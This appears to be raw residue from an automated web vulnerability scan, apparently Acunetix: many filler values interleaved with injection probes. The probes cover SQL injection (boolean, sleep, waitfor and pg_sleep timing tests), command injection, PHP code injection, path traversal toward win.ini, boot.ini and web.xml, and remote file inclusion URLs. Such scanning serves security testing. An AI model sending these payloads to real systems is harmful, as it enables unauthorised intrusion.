1

1

1

1

1

1

1

1

1

1

1

1

response.write(9088957*9069477)

1

1

'+response.write(9088957*9069477)+'

1

1

"+response.write(9088957*9069477)+"

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

set|set&set

1

1

'set|set&set'

1

1

1

"set|set&set"

1

1

set|set&set

1

1

1

`set|set&set`

1

1

print `env`

1

1

;set|set&set;

1

1

1

1

1

1

VFfeAnZ2

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

${9999560+9999178}

1

1

1

1

12345'"\'\");|]*{

�''💩

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

../../../../../../../../../../windows/win.ini

1

1

1

1

1

1

1

../../../../../../../../../../boot.ini

1

1

1

../../../../../../../../../../windows/win.ini.jpg

1

1

1

������������������������������������������������windows��win.ini

1

1

1

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

................windowswin.ini

1

1

1

1some_inexistent_file_with_long_name.jpg

..\..\..\..\..\..\..\..\windows\win.ini

1

1

1

1

/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini

Http://testasp.vulnweb.com/t/fit.txt

1

1

1

../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini

http://testasp.vulnweb.com/t/fit.txt?.jpg

1

1

1

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini

testasp.vulnweb.com

1

1

1

unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\

1

1

1

1

WEB-INF/web.xml?

1

1

1

1

WEB-INF\web.xml?

1

1

1

1

/WEB-INF/web.xml?

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

-1 OR 2+698-698-1=0+0+0+1 --

1

1&n985106=v940662

1

1

1

-1 OR 3+698-698-1=0+0+0+1 --

1

1

1

1

1

-1 OR 3*2<(0+5+698-698) --

1

1

1

1

-1 OR 3*2>(0+5+698-698) --

1

1

1

1

1

-1 OR 2+691-691-1=0+0+0+1

1

1

1

1

1

1

-1 OR 3+691-691-1=0+0+0+1

1

1

1

1

1

-1 OR 3*2<(0+5+691-691)

1

1

1

1

1

-1 OR 3*2>(0+5+691-691)

1

1

1

1

1

-1' OR 2+205-205-1=0+0+0+1 --

1

1

1

1

-1' OR 3+205-205-1=0+0+0+1 --

1

1

1

1

1

-1' OR 3*2<(0+5+205-205) --

1

)

1

1

1

-1' OR 3*2>(0+5+205-205) --

1

!(()&&!|*|*|

1

1

1

-1' OR 2+44-44-1=0+0+0+1 or 'NfCDJEd5'='

1

^(#$!@#$)(()))******

1

1

1

-1' OR 3+44-44-1=0+0+0+1 or 'NfCDJEd5'='

1

1

1

1

1

-1' OR 3*2<(0+5+44-44) or 'NfCDJEd5'='

1

1

1

1

1

-1' OR 3*2>(0+5+44-44) or 'NfCDJEd5'='

1

1

1

'"()

-1" OR 2+695-695-1=0+0+0+1 --

1

1

1

1

-1" OR 3+695-695-1=0+0+0+1 --

1

1

1

1

1

1

-1" OR 3*2<(0+5+695-695) --

1

1

1

1

1

-1" OR 3*2>(0+5+695-695) --

1

1

1

1

1

if(now()=sysdate(),sleep(12.594000000000001),0)/*'XOR(if(now()=sysdate(),sleep(12.594000000000001),0))OR'"XOR(if(now()=sysdate(),sleep(12.594000000000001),0))OR"*/

1

1

1

1

1

(select(0)from(select(sleep(4.198)))v)/*'+(select(0)from(select(sleep(4.198)))v)+'"+(select(0)from(select(sleep(4.198)))v)+"*/

1

1

1

1

1

(select(0)from(select(sleep(8.396)))v)/*'+(select(0)from(select(sleep(8.396)))v)+'"+(select(0)from(select(sleep(8.396)))v)+"*/

1

1

1

1

1

-1; waitfor delay '0:0:8.396' --

1

1

1

1

1

-1); waitfor delay '0:0:8.396' --

1

1

1

1

1

-1)); waitfor delay '0:0:8.396' --

1

1

1

1 waitfor delay '0:0:12.594000000000001' --

1

1

1

1

;print(md5(acunetix_wvs_security_test));

blXpY7SQ'; waitfor delay '0:0:12.594000000000001' --

1

1

1

1

';print(md5(acunetix_wvs_security_test));$a='

i4tlgUVQ'); waitfor delay '0:0:12.594000000000001' --

1

1

1

1

";print(md5(acunetix_wvs_security_test));$a="

0n3k7xBg')); waitfor delay '0:0:4.198' --

1

1

1

1

${@print(md5(acunetix_wvs_security_test))}

zOyrNHQ9')); waitfor delay '0:0:8.396' --

1

1

1

1

${@print(md5(acunetix_wvs_security_test))}\

1

-1;select pg_sleep(8.396); --

1

1

1

1

-1);select pg_sleep(8.396); --

1

1

1

-1));select pg_sleep(8.396); --

1

1

1

1

1

nKGy7Cc9';select pg_sleep(12.594000000000001); --

1

1

1

1

1

1

Ns0iXhp9');select pg_sleep(12.594000000000001); --

1

1

1

1

1

tevnG6Su'));select pg_sleep(4.198); --

1

1

1

1

ilhFluNO'));select pg_sleep(8.396); --

1

1

1

1

1

1

1

1

1

1

http://testasp.vulnweb.com/t/xss.html?%00.jpg

1

1

1

1

1

1

1